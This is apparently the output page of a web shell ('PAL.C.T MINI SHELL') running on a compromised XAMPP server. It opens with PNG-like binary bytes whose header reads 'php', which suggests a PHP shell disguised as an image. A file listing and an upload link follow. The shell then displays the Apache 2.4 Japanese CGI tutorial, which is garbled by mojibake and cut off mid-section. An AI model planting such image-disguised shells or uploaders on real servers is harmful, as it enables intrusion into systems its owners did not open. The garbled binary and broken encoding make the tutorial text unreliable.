‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /opt/lampp/manual/howto/
upload
files >> //opt/lampp/manual/howto/cgi.html.ja.utf8

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja"><head>
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
<!--
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
              This file is generated from xml source: DO NOT EDIT
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      -->
<title>Apache Tutorial: CGI ã«ã‚ˆã‚‹å‹•的コンテンツ - Apache HTTP サームãƒãƒ¼ã‚¸ãƒ§ãƒ³ 2.4</title>
<link href="../style/css/manual.css" rel="stylesheet" media="all" type="text/css" title="Main stylesheet" />
<link href="../style/css/manual-loose-100pc.css" rel="alternate stylesheet" media="all" type="text/css" title="No Sidebar - Default font size" />
<link href="../style/css/manual-print.css" rel="stylesheet" media="print" type="text/css" /><link rel="stylesheet" type="text/css" href="../style/css/prettify.css" />
<script src="../style/scripts/prettify.min.js" type="text/javascript">
</script>

<link href="../images/favicon.ico" rel="shortcut icon" /></head>
<body id="manual-page"><div id="page-header">
<p class="menu"><a href="../mod/">モジュール</a> | <a href="../mod/directives.html">ディレクティブ</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="../glossary.html">用語</a> | <a href="../sitemap.html">サイトマップ</a></p>
<p class="apache">Apache HTTP サームãƒãƒ¼ã‚¸ãƒ§ãƒ³ 2.4</p>
<img alt="" src="../images/feather.gif" /></div>
<div class="up"><a href="./"><img title="&lt;-" alt="&lt;-" src="../images/left.gif" /></a></div>
<div id="path">
<a href="http://www.apache.org/">Apache</a> &gt; <a href="http://httpd.apache.org/">HTTP サーãƒ</a> &gt; <a href="http://httpd.apache.org/docs/">ドキュメンテーション</a> &gt; <a href="../">ãƒãƒ¼ã‚¸ãƒ§ãƒ³ 2.4</a> &gt; <a href="./">How-To / ãƒãƒ¥ãƒ¼ãƒˆãƒªã‚¢ãƒ«</a></div><div id="page-content"><div id="preamble"><h1>Apache Tutorial: CGI ã«ã‚ˆã‚‹å‹•的コンテンツ</h1>
<div class="toplang">
<p><span>翻訳済ã¿è¨€èªž: </span><a href="../en/howto/cgi.html" hreflang="en" rel="alternate" title="English">&nbsp;en&nbsp;</a> |
<a href="../fr/howto/cgi.html" hreflang="fr" rel="alternate" title="Français">&nbsp;fr&nbsp;</a> |
<a href="../ja/howto/cgi.html" title="Japanese">&nbsp;ja&nbsp;</a> |
<a href="../ko/howto/cgi.html" hreflang="ko" rel="alternate" title="Korean">&nbsp;ko&nbsp;</a></p>
</div>
<div class="outofdate">ã“ã®æ—¥æœ¬èªžè¨³ã¯ã™ã§ã«å¤ããªã£ã¦ã„ã‚‹
            å¯èƒ½æ€§ãŒã‚りã¾ã™ã€‚
            最近更新ã•れãŸå†…容を見るã«ã¯è‹±èªžç‰ˆã‚’ã”覧下ã•ã„。
        </div>
</div>
<div id="quickview"><ul id="toc"><li><img alt="" src="../images/down.gif" /> <a href="#intro">ã¯ã˜ã‚ã«</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#configuring">CGI を許å¯ã™ã‚‹ã‚ˆã†ã« Apache を設定ã™ã‚‹</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#writing">CGI プログラムを書ã</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#troubleshoot">ã—ã‹ã—ã€ã¾ã å‹•ã‹ãªã„ !</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#behindscenes">è£ã§ä½•ãŒèµ·ã“ã£ã¦ã„ã‚‹ã®ã‹?</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#libraries">CGI モジュール/ライブラリ</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#moreinfo">æ›´ãªã‚‹æƒ…å ±</a></li>
</ul><ul class="seealso"><li><a href="#comments_section">コメント</a></li></ul></div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="intro" id="intro">ã¯ã˜ã‚ã«</a></h2>
    

    <table class="related"><tr><th>関連モジュール</th><th>関連ディレクティブ</th></tr><tr><td><ul><li><code class="module"><a href="../mod/mod_alias.html">mod_alias</a></code></li><li><code class="module"><a href="../mod/mod_cgi.html">mod_cgi</a></code></li></ul></td><td><ul><li><code class="directive"><a href="../mod/mod_mime.html#addhandler">AddHandler</a></code></li><li><code class="directive"><a href="../mod/core.html#options">Options</a></code></li><li><code class="directive"><a href="../mod/mod_alias.html#scriptalias">ScriptAlias</a></code></li></ul></td></tr></table>

    <p>CGI (Common Gateway Interface) ã¯ã€ã‚¦ã‚§ãƒ–サーãƒãŒ
    コンテンツ生æˆã‚’ã™ã‚‹å¤–部プログラムã¨å”調ã—ã¦å‹•作ã™ã‚‹ãŸã‚ã®æ–¹æ³•ã‚’
    定義ã—ã¦ã„ã¾ã™ã€‚ãã®ãƒ—ログラムã¯ã—ã°ã—ã° CGI プログラムや
    CGI スクリプトã¨å‘¼ã°ã‚Œã¾ã™ã€‚CGI ã¯ã€ã‚¦ã‚§ãƒ–サイトã«å‹•çš„ãª
    コンテンツを置ããŸã‚ã®æœ€ã‚‚ç°¡å˜ã§ä¸€èˆ¬çš„ãªæ–¹æ³•ã§ã™ã€‚ã“ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã¯ã€
    Apache ウェブサーãƒã§ CGI を設定ã—ã€
    CGI プログラムを書ãå§‹ã‚ã‚‹ãŸã‚ã®å…¥é–€æ›¸ã¨ãªã‚‹ã§ã—ょã†ã€‚</p>
  </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="configuring" id="configuring">CGI を許å¯ã™ã‚‹ã‚ˆã†ã« Apache を設定ã™ã‚‹</a></h2>
    

    <p>CGI プログラムを正ã—ã動作ã•ã›ã‚‹ã«ã¯ã€CGI を許å¯ã™ã‚‹ã‚ˆã†ã«
    Apache ã®è¨­å®šã‚’行ã†å¿…è¦ãŒã‚りã¾ã™ã€‚
    ã“れを行ãªã†ãŸã‚ã®æ–¹æ³•ãŒã„ãã¤ã‹ã‚りã¾ã™ã€‚</p>

    <div class="warning">
    注: Apache ãŒå…±æœ‰ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«æ©Ÿèƒ½ç€ãã§ãƒ“ルドã•れã¦ã„ã‚‹å ´åˆã€
    モジュールãŒãƒ­ãƒ¼ãƒ‰ã•れã¦ã„ã‚‹ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。
    ã¤ã¾ã‚Š <code>httpd.conf</code> ã§ 
    <code class="directive"><a href="../mod/mod_so.html#loadmodule">LoadModule</a></code>
    ãŒã‚³ãƒ¡ãƒ³ãƒˆã‚¢ã‚¦ãƒˆã•れã¦ã„ãªã„ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。
    正常ã«è¨­å®šã•れã¦ã„ã‚Œã°æ¬¡ã®ã‚ˆã†ã«ãªã‚‹ã¯ãšã§ã™:

    <div class="example"><p><code>
      LoadModule cgi_module modules/mod_cgi.so
    </code></p></div></div>

    <h3><a name="scriptalias" id="scriptalias">ScriptAlias</a></h3>
      

      <p><code class="directive"><a href="../mod/mod_alias.html#scriptalias">ScriptAlias</a></code>
      ディレクティブを使用ã—ã¦ã€
      CGI プログラム用ã®ç‰¹åˆ¥ãªåˆ¥ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã‚’ Apache ã«è¨­å®šã—ã¾ã™ã€‚
      Apache ã¯ã€ã“ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªä¸­ã®å…¨ã¦ã®ãƒ•ァイルを CGI
      プログラムã§ã‚ã‚‹ã¨ä»®å®šã—ã¾ã™ã€‚
      ãã—ã¦ã€ã“ã®ç‰¹åˆ¥ãªãƒªã‚½ãƒ¼ã‚¹ãŒã‚¯ãƒ©ã‚¤ã‚¢ãƒ³ãƒˆã‹ã‚‰è¦æ±‚ã•れるã¨ã€
      ãã®ãƒ—ログラムã®å®Ÿè¡Œã‚’試ã¿ã¾ã™ã€‚</p>

      <p><code class="directive"><a href="../mod/mod_alias.html#scriptalias">ScriptAlias</a></code>
      ディレクティブã¯ä»¥ä¸‹ã®ã‚ˆã†ã«ä½¿ç”¨ã—ã¾ã™:</p>

      <div class="example"><p><code>
        ScriptAlias /cgi-bin/ /usr/local/apache2/cgi-bin/
      </code></p></div>

      <p>デフォルトä½ç½®ã« Apache をインストールã—ãŸãªã‚‰ã°ã€
      ã“ã®ä¾‹ã¯ãƒ‡ãƒ•ォルト状態㮠<code>httpd.conf</code>
      設定ファイルã«å«ã¾ã‚Œã¦ã„ã¾ã™ã€‚
      <code class="directive"><a href="../mod/mod_alias.html#scriptalias">ScriptAlias</a></code>
      ディレクティブã¯ã€URL ã®å‰ã«ä»˜åŠ ã™ã‚‹ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã‚’定義ã™ã‚‹
      <code class="directive"><a href="../mod/mod_alias.html#alias">Alias</a></code>
      ディレクティブã¨ã‹ãªã‚Šä¼¼ã¦ã„ã¾ã™ã€‚
      <code class="directive">Alias</code> 㨠<code class="directive">ScriptAlias</code>
      ã¯é€šå¸¸ã€<code class="directive"><a href="../mod/core.html#documentroot">DocumentRoot</a></code>
      ディレクトリ外ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã®ãŸã‚ã«ä½¿ç”¨ã•れã¾ã™ã€‚
      <code class="directive">Alias</code> 㨠<code class="directive">ScriptAlias</code>
      ã¨ã®å·®ã¯ã€<code class="directive">ScriptAlias</code> ãŒæŽ¥é ­è¾žã§å§‹ã¾ã‚‹ã™ã¹ã¦ã®
      URL 㯠CGI プログラムã¨ã¿ãªã•れるã¨ã„ã†è¿½åŠ ã®æ„味をå«ã‚“ã§ã„ã‚‹ã“ã¨ã§ã™ã€‚
      従ã£ã¦ã€ä¸Šè¨˜ã®ä¾‹ã§ã¯ã€<code>/cgi-bin/</code>
      ã§å§‹ã¾ã‚‹ãƒªã‚½ãƒ¼ã‚¹ã¸ã®ã‚らゆるリクエストã«å¯¾ã—ã¦ã€ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒª
      <code>/usr/local/apache2/cgi-bin/</code> ã‹ã‚‰æä¾›ã—ã€ãれらを
      CGI プログラムã¨ã—ã¦æ‰±ã†ã‚ˆã† Apache ã«ç¤ºã—ã¾ã™ã€‚</p>

      <p>例ãˆã°ã€URL <code>http://www.example.com/cgi-bin/test.pl</code>
      ãŒè¦æ±‚ã•れãŸå ´åˆã€Apache 㯠ファイル
      <code>/usr/local/apache2/cgi-bin/test.pl</code>
      を実行ã—ã€ãã®å‡ºåŠ›ã‚’è¿”ã™ã“ã¨ã‚’試ã¿ã¾ã™ã€‚
      ã‚‚ã¡ã‚ã‚“ã€ãƒ•ァイルãŒå­˜åœ¨ã—ã€å®Ÿè¡Œå¯èƒ½ã§ã‚ã‚Šã€æ±ºã‚ã‚‰ã‚ŒãŸæ–¹æ³•ã§å‡ºåŠ›ã‚’è¿”ã—ã¾ã™ã€‚
      ãã†ã§ãªã‘れã°ã€Apache ã¯ã‚¨ãƒ©ãƒ¼ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã‚’è¿”ã—ã¾ã™ã€‚</p>
    

    <h3><a name="nonscriptalias" id="nonscriptalias">ScriptAlias ディレクトリ外㮠CGI</a></h3>
      

      <p>CGI プログラムã¯ã€ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ä¸Šã®ç†ç”±ã‹ã‚‰ 
      <code class="directive"><a href="../mod/mod_alias.html#scriptalias">ScriptAlias</a></code>
      ã•れãŸãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã«åˆ¶é™ã•れるã“ã¨ãŒã—ã°ã—ã°ã‚りã¾ã™ã€‚ã“ã®æ–¹æ³•ã«ã‚ˆã‚Šã€
      CGI プログラムを使用ã§ãるユーザを管ç†è€…ãŒå޳ã—ã制御ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚
      ã—ã‹ã—ãªãŒã‚‰ã€é©åˆ‡ãªã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£äº‹å‰å¯¾ç­–ãŒã¨ã‚‰ã‚Œã‚‹ãªã‚‰ã°ã€CGI
      プログラムを任æ„ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã§å®Ÿè¡Œã§ããªã„よã†ã«ã™ã‚‹ç†ç”±ã¯ã‚りã¾ã›ã‚“。
      例ãˆã°ã€ãƒ¦ãƒ¼ã‚¶ã« <code class="directive"><a href="../mod/mod_userdir.html#userdir">UserDir</a></code>
      ディレクティブã§å½¼ã‚‰ã®ãƒ›ãƒ¼ãƒ ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªé…下ã«ã‚¦ã‚§ãƒ–コンテンツをæŒãŸã›ãŸã„ã¨ã—ã¾ã™ã€‚
      ã‚‚ã—ã€å½¼ã‚‰ãŒ CGI プログラムをæŒã¤ã“ã¨ã‚’望んã§ã„ã¦ã‚‚ã€ãƒ¡ã‚¤ãƒ³ã®
      <code>cgi-bin</code> ディレクトリã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ãŒã§ããªã„å ´åˆã€
      CGI プログラムを実行ã™ã‚‹ã“ã¨ãŒã§ãã‚‹ä»–ã®å ´æ‰€ãŒå¿…è¦ã«ãªã‚Šã¾ã™ã€‚</p>

      <p>ä»»æ„ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã§ CGI ã®å®Ÿè¡Œã‚’許å¯ã™ã‚‹ã«ã¯äºŒæ®µéšŽã®è¨­å®šãŒå¿…è¦ã§ã™ã€‚
      ã¾ãšã€<code class="directive"><a href="../mod/mod_mime.html#addhandler">AddHandler</a></code> ã‚„ <code class="directive"><a href="../mod/core.html#sethandler">SetHandler</a></code> ディレクティブã«ã‚ˆã£ã¦
      <code>cgi-script</code> ãƒãƒ³ãƒ‰ãƒ©ãŒå¯èƒ½ã«ãªã£ã¦ã„ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚
      次ã«ã€<code class="directive"><a href="../mod/core.html#options">Options</a></code> ディレクティブã§
      <code>ExecCGI</code> ãŒæŒ‡å®šã•れã¦ã„ãªã‘れã°ãªã‚Šã¾ã›ã‚“。</p>
    

    <h3><a name="options" id="options">CGI ã®å®Ÿè¡Œã‚’å¯èƒ½ã«ã™ã‚‹ãŸã‚ã« Options を明示的ã«ä½¿ç”¨ã™ã‚‹</a></h3>
      

      <p>サーãƒã®ãƒ¡ã‚¤ãƒ³ã®è¨­å®šãƒ•ァイル中㧠<code class="directive"><a href="../mod/core.html#options">Options</a></code>
      ディレクティブを明示的ã«ä½¿ç”¨ã™ã‚‹ã“ã¨ã§ã€ç‰¹å®šã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªé…下ã§
      CGI ã®å®Ÿè¡Œã‚’許å¯ã™ã‚‹ã‚ˆã†ã«æŒ‡å®šã™ã‚‹ã“ã¨ãŒã§ãã¾ã™:</p>

      <div class="example"><p><code>
        &lt;Directory /usr/local/apache2/htdocs/somedir&gt;<br />
        <span class="indent">
          Options +ExecCGI<br />
        </span>
        &lt;/Directory&gt;
      </code></p></div>

      <p>上記ディレクティブã¯ã€CGI ファイルã®å®Ÿè¡Œã‚’å¯èƒ½ã«ã™ã‚‹ã‚ˆã†
      Apache ã«ä¼ãˆã¾ã™ã€‚ã¾ãŸã€ã©ã®ãƒ•ァイル㌠CGI ファイルã‹ã‚’
      サーãƒã«ä¼ãˆã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚次ã®
      <code class="directive"><a href="../mod/mod_mime.html#addhandler">AddHandler</a></code>
      ディレクティブã®ä¾‹ã§ã¯ã€<code>cgi</code> ã¾ãŸã¯ <code>pl</code>
      ã‚’æ‹¡å¼µå­ã«æŒã¤ã™ã¹ã¦ã®ãƒ•ァイルを CGI
      プログラムã¨ã—ã¦ã¿ãªã™ã“ã¨ã‚’サーãƒã«ä¼ãˆã¾ã™:</p>

      <div class="example"><p><code>
        AddHandler cgi-script .cgi .pl
      </code></p></div>
    

    <h3><a name="htaccess" id="htaccess">.htaccess ファイル</a></h3>
      

      <p><a href="htaccess.html"><code>.htaccess</code> ãƒãƒ¥ãƒ¼ãƒˆãƒªã‚¢ãƒ«</a>
      㯠<code>httpd.conf</code> を変更ã§ããªã„å ´åˆã«ã©ã†ã‚„ã£ã¦ CGI プログラムを
      使ãˆã‚‹ã‚ˆã†ã«ã™ã‚‹ã‹ã‚’説明ã—ã¦ã„ã¾ã™ã€‚</p>
    

    <h3><a name="userdir" id="userdir">User ディレクトリ</a></h3>
      

      <p><code>.cgi</code> ã§çµ‚ã‚ã‚‹ã™ã¹ã¦ã®ãƒ•ァイルã«å¯¾ã—㦠CGI プログラムã®
      実行を許å¯ã™ã‚‹ã«ã¯ã€ä»¥ä¸‹ã®è¨­å®šã‚’使用ã§ãã¾ã™ã€‚</p>

      <div class="example"><p><code>
      &lt;Directory /home/*/public_html&gt;<br />
      <span class="indent">
        Options +ExecCGI<br />
        AddHandler cgi-script .cgi<br />
      </span>
      &lt;/Directory&gt;
      </code></p></div>

      <p>ユーザディレクトリ㮠<code>cgi-bin</code> サブディレクトリã®
      ã™ã¹ã¦ã®ãƒ•ァイルを CGI プログラムã¨ã—ã¦æŒ‡å®šã—ãŸã„å ´åˆã«ã¯
      以下ã®ã‚ˆã†ãªã‚‚ã®ã‚’使ã„ã¾ã™ã€‚</p>

      <div class="example"><p><code>
      &lt;Directory /home/*/public_html/cgi-bin&gt;<br />
      <span class="indent">
        Options ExecCGI<br />
        SetHandler cgi-script<br />
      </span>
      &lt;/Directory&gt;
      </code></p></div>

    
  </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="writing" id="writing">CGI プログラムを書ã</a></h2>
    

    <p>「通常ã®ã€ãƒ—ログラミング㨠CGI
    プログラミングã®é–“ã«ã¯ä¸»ã«äºŒã¤ã®é•ã„ãŒã‚りã¾ã™ã€‚</p>

    <p>一ã¤ã¯ã€CGI プログラムã®ã™ã¹ã¦ã®å‡ºåŠ›ã«ã¯<a class="glossarylink" href="../glossary.html#mime-type" title="用語集をå‚ç…§">MIME タイプ</a>
    ヘッダを付ã‘ãªã‘れã°ãªã‚Šã¾ã›ã‚“。
    ã“れã¯ã©ã®ã‚ˆã†ãªç¨®é¡žã®ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã‚’å—ã‘å–ã£ã¦ã„ã‚‹ã‹ã‚’クライアントã«ç¤ºã™
    HTTP ヘッダã§ã™ã€‚ã»ã¨ã‚“ã©ã®å ´åˆã§ã¯ã€æ¬¡ã®ã‚ˆã†ã«å‡ºåŠ›ã—ã¾ã™:</p>

    <div class="example"><p><code>
      Content-type: text/html
    </code></p></div>

    <p>ã‚‚ã†ä¸€ã¤ã¯ã€å‡ºåŠ›ã‚’ HTML
    ã‹ã€ãƒ–ラウザãŒè¡¨ç¤ºã™ã‚‹ã“ã¨ãŒã§ãる何ã‹ä»–ã®å½¢å¼ã«ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚
    大抵ã®å ´åˆã¯ HTML ã§ã—ょã†ãŒã€GIF イメージや他ã®éž HTML
    コンテンツを出力ã™ã‚‹ CGI プログラムを書ãã“ã¨ã‚‚ã‚ã‚‹ã§ã—ょã†ã€‚</p>

    <p>ã“れら二点以外ã§ã¯ã€CGI プログラムを書ãã“ã¨ã¯ã€
    ã‚ãªãŸãŒæ›¸ã„ã¦ã„ã‚‹ä»–ã®ãƒ—ログラムã¨ã‚ˆãä¼¼ã¦ã„ã‚‹ã§ã—ょã†ã€‚</p>

    <h3><a name="firstcgi" id="firstcgi">最åˆã® CGI プログラム</a></h3>
      

      <p>次ã«ç¤ºã™ã®ã¯ã€ãƒ–ラウザ㫠1 行å°å­—ã™ã‚‹ CGI
      プログラムã®ä¾‹ã§ã™ã€‚以下を入力ã—ã€<code>first.pl</code>
      ã¨ã„ã†ãƒ•ァイルã«ä¿å­˜ã—ã€ãれを <code>cgi-bin</code>
      ディレクトリã«ç½®ã„ã¦ãã ã•ã„。</p>

      <div class="example"><p><code>
        #!/usr/bin/perl<br />
        print "Content-type: text/html\n\n";<br />
        print "Hello, World.";
      </code></p></div>

      <p>Perl ã«ç²¾é€šã—ã¦ã„ãªãã¦ã‚‚ã€
      何ãŒèµ·ã“ã‚‹ã‹ã‚’ç†è§£ã™ã‚‹ã“ã¨ã¯ã§ãã‚‹ã§ã—ょã†ã€‚1 行目ã¯ã€
      <code>/usr/bin/perl</code> ã§è¦‹ã¤ã‘られるインタプリタã«
      ã“ã®ãƒ•ァイルを供給ã™ã‚‹ã“ã¨ã§ã“ã®ãƒ—ログラムãŒå®Ÿè¡Œã•れるã“ã¨ã‚’
      Apache ã« (シェル上ã§å®Ÿè¡Œã—よã†ã¨ã—ã¦ã„ã‚‹ãªã‚‰ã°ã€ãã®ã‚·ã‚§ãƒ«ã« ) 
      示ã—ã¾ã™ã€‚2 行目ã¯ã€å‰è¿°ã—ãŸã¨ãŠã‚Š content-type ã®å®šç¾©ã‚’å°å­—ã—ã¾ã™ã€‚
      ã“れã«ã¯å¾©å¸°æ”¹è¡Œã®äºŒã¤ã®çµ„を後ã«ä»˜åŠ ã—ã¾ã™ã€‚
      ã“れã«ã‚ˆã‚Šã€ãƒ˜ãƒƒãƒ€ã®çµ‚りã«ç©ºè¡ŒãŒç½®ã‹ã‚Œã€HTTP
      ヘッダã®çµ‚りã¨ãƒœãƒ‡ã‚£ã®å§‹ã¾ã‚Šã‚’示ã—ã¾ã™ã€‚3 行目ã¯ã€"Hello, World."
      ã¨ã„ã†æ–‡å­—列をå°å­—ã—ã€ã“れã§çµ‚りã¨ãªã‚Šã¾ã™ã€‚</p>

      <p>好ã¿ã®ãƒ–ラウザを開ãã€ã‚¢ãƒ‰ãƒ¬ã‚¹</p>

      <div class="example"><p><code>
        http://www.example.com/cgi-bin/first.pl
      </code></p></div>

      <p>ã‚ã‚‹ã„ã¯ãƒ•ァイルを置ã„ãŸãƒ­ã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã‚’指定ã™ã‚‹ã¨ã€
      <code>Hello, World.</code>
      ã¨ã„ㆠ1 行ãŒãƒ–ラウザウィンドã«ç¾ã‚Œã‚‹ã§ã—ょã†ã€‚
      ãれã¯ã‚ã¾ã‚Šã‚¨ã‚­ã‚µã‚¤ãƒ†ã‚£ãƒ³ã‚°ãªã“ã¨ã§ã¯ã‚りã¾ã›ã‚“。
      ã—ã‹ã—ã€ã“れãŒã†ã¾ãå‹•ã‘ã°ã€
      ä»–ã®ã©ã®ã‚ˆã†ãªã‚‚ã®ã§ã‚‚å‹•ã‹ã™ã“ã¨ãŒã§ãるよã†ã«ãªã‚Šã¾ã™ã€‚</p>
    
  </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="troubleshoot" id="troubleshoot">ã—ã‹ã—ã€ã¾ã å‹•ã‹ãªã„ !</a></h2>
    

    <p>ウェブã‹ã‚‰ CGI プログラムã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã‚’行ãªã£ãŸã¨ãã€
    ブラウザã§è¦‹ã‚‹å¯èƒ½æ€§ãŒã‚ã‚‹å››ã¤ã®åŸºæœ¬çš„ãªã“ã¨ãŒã‚りã¾ã™:</p>

    <dl>
      <dt>CGI プログラムã®å‡ºåŠ›</dt>
      <dd>素晴らã—ã„ ! ãれã¯ã™ã¹ã¦ãŒã†ã¾ãå‹•ã„ãŸã“ã¨ã‚’æ„味ã—ã¾ã™ã€‚
      å‡ºåŠ›ãŒæ­£å¸¸ã ã‘れã©ã‚‚ã€ãƒ–ãƒ©ã‚¦ã‚¶ãŒæ­£å¸¸ã«å‡¦ç†ã—ã¦ãれãªã„å ´åˆã¯ã€
      æ­£ã—ã„ <code>Content-Type</code> ã‚’ CGI プログラム内ã§
      セットã—ãŸã‹ã‚’確èªã—ã¦ãã ã•ã„。</dd>

      <dt>CGI プログラムã®ã‚½ãƒ¼ã‚¹ã‚³ãƒ¼ãƒ‰ã€ã¾ãŸã¯ "POST Method Not Allowed"
      ã¨ã„ã†ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸</dt> 
      <dd>ã“れã¯ã€CGI プログラムを処ç†ã§ãるよㆠApache
      ã‚’é©åˆ‡ã«è¨­å®šã—ã¦ã„ãªã‹ã£ãŸã“ã¨ã‚’æ„味ã—ã¾ã™ã€‚<a href="#configuring">「CGI を許å¯ã™ã‚‹ã‚ˆã†ã«
      Apache を設定ã™ã‚‹ã€</a>ã®ç« ã‚’読ã¿ç›´ã—ã€
      ã‚ãªãŸãŒä½•ã‚’é–“é•ãˆãŸã‹ã‚’探ã—ã¦ã¿ã¦ãã ã•ã„。
      </dd>

      <dt>メッセージ㌠"Forbidden" ã§å§‹ã¾ã£ã¦ã„ã‚‹</dt>
      <dd>ã“れã¯ãƒ‘ーミッションã®å•題ã¨ã„ã†ã“ã¨ã‚’æ„味ã—ã¾ã™ã€‚
      <a href="#errorlogs">Apache ã®ã‚¨ãƒ©ãƒ¼ãƒ­ã‚°</a>ã¨ã€å¾Œè¿°ã®<a href="#permissions">「ファイルã®ãƒ‘ーミッションã€</a>
      ã®ç« ã‚’ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。
      </dd>

      <dt>"Internal Server Error" ã¨ã„ã†ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸</dt>
      <dd><a href="#errorlogs">Apache
      ã®ã‚¨ãƒ©ãƒ¼ãƒ­ã‚°</a>ã‚’ãƒã‚§ãƒƒã‚¯ã™ã‚‹ã¨ã€"Premature end of script headers"
      ã¨ã„ã†ãƒ­ã‚°ãŒè¨˜éŒ²ã•れã¦ã„ã‚‹ã¨æ€ã„ã¾ã™ã€‚ãã—ã¦ã€ãŠãらã CGI
      プログラムã«ã‚ˆã£ã¦ç”Ÿæˆã•れãŸã‚¨ãƒ©ãƒ¼ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã‚‚記録ã•れã¦ã„ã‚‹ã§ã—ょã†ã€‚
      ã“ã®å ´åˆã€CGI プログラムãŒé©åˆ‡ãª
      HTTP ヘッダを出力ã§ããªã„原因を知るãŸã‚ã«ã€
      以下ã®å„ç« ã§ãƒã‚§ãƒƒã‚¯ã—ã¦ã¿ã¦ãã ã•ã„。</dd>
    </dl>

    <h3><a name="permissions" id="permissions">ファイルã®ãƒ‘ーミッション</a></h3>
      

      <p>サーãƒã¯ã‚ãªãŸã®æ¨©é™ã§å®Ÿè¡Œã•れã¦ã„ãªã„ã®ã‚’忘れãªã„よã†ã«ã€‚
      ã¤ã¾ã‚Šã€èµ·å‹•ã™ã‚‹ã¨ãã€ã‚µãƒ¼ãƒã¯ç‰¹æ¨©ã‚’ã‚‚ãŸãªã„ユーザ - 通常 <code>nobody</code>
      ã‚„ <code>www</code> ã®æ¨©é™ã§å®Ÿè¡Œã•れã¾ã™ã€‚ã—ãŸãŒã£ã¦ã€ã‚ãªãŸãŒæ‰€æœ‰ã™ã‚‹
      ファイルを実行ã™ã‚‹ã«ã¯åˆ¥ã®ãƒ‘ーミッションãŒå¿…è¦ã¨ãªã‚Šã¾ã™ã€‚
      通常ã€<code>nobody</code> ãŒå®Ÿè¡Œã™ã‚‹ã®ã«å分ãªãƒ‘ーミッションを与ãˆã‚‹æ–¹æ³•ã¯ã€
      ファイルã«èª°ã§ã‚‚実行å¯èƒ½ã¨ã™ã‚‹ãƒ‘ーミッションを与ãˆã‚‹ã“ã¨ã§ã™:</p>

      <div class="example"><p><code>
        chmod a+x first.pl
      </code></p></div>

      <p>ã¾ãŸã€ã‚‚ã—ã‚ãªãŸã®ãƒ—ログラムãŒä»–ã®ãƒ•ã‚¡ã‚¤ãƒ«ã‚’èª­ã¿æ›¸ãã™ã‚‹ãªã‚‰ã°ã€
      ãれらã®ãƒ•ァイルã¯ã€ã“れãŒå¯èƒ½ã¨ãªã‚‹æ­£ã—ã„パーミッション
      ã‚’æŒã£ã¦ã„ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚</p>

    

    <h3><a name="pathinformation" id="pathinformation">パス情報ã¨ç’°å¢ƒ</a></h3>
      

      <p>コマンドラインã‹ã‚‰ãƒ—ログラムを実行ã™ã‚‹ã¨ãã€
